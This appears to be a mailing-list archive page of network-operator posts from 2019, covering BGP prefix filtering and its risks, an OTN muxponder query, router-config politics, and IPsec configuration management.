I wouldn't do this as a general rule. If an attacker knows networks are 1) not pointing default, 2) dropping /24's, 3) not validating the aggregates, and 4) no actual legitimate aggregate exists, (all reasonable assumptions so far for many /24's), then they have a pretty good opportunity to capture that traffic.

Flexible OTN / fractional 100GbE
by Jérôme Nicolle 31 May '19

31 May '19

Hi NaNOG ! I'm looking for a muxponder that would take OTU4s on the network side and provide 10/40/100GbE on the client side, with some kind of oversubscription, as to provide a "fractional 100GbE" e.g. starting with 30-60Gbps commit that could be upgraded to 100GbE when network capacity is available. Is that something feasible at a decent price ? I've read that Broadcom' StrataDNX (Qumran / Jericho) chips have OTN support in addition to ethernet now, is there some vendor who leverages this, preferably with OCP gear ? Thanks ! -- Jérôme Nicolle +33 6 19 31 27 14

Two guys have authority over different parts of a network. They don't agree and neither budges. The manager is not technical (at all) and is hands off on decisions like those. I see fights like this in configs all the time. You look at the configs and go WTF, but after learning what happened in the past between those two folks I go; "Ok, NOW I get it." And for 'clearly defined'...well...to put it politely 'clearly defined' is subjective. ;) I'm OCD about KISS, documentation and consistency, but many folks are not. They want it their way, regardless of what is already there, and they like to turn knobs and not let others know what knobs they turned. You wouldn't believe what we see out here on the raggedy edges of the internet. I started my career in the 90s with a company called Digital Island. There were extremely competent folks building it. Every thing was KISS and consistent. It was a beautiful DFZ network. I miss that. 2001 was the last time I saw it. Been on the ragged edge ever since. scott

BGP prefix filter list
by Baldur Norddahl 30 May '19

30 May '19

Hello This morning we apparently had a problem with our routers not handling the full table. So I am looking into culling the least useful prefixes from our tables. I can hardly be the first one to take on that kind of project, and I am wondering if there is a ready made prefix list or similar? Or maybe we have a list of worst offenders? I am looking for ASN that announces a lot of unnecessary /24 prefixes and which happens to be far away from us? I would filter those to something like /20 and then just have a default route to catch all. Thanks, Baldur

VPN / IPSEC Management

Hi Guys, Quick question... In orgs using frequent and large amounts of IPSec, what are you guys using in terms of configuration management / documentation? Especially in terms of Phase 2 and documenting what the relevant Phase 2s are for? Is it a matter of text files / spreadsheets, or are there something out there to manage this with? -- Regards, Chris Knipe
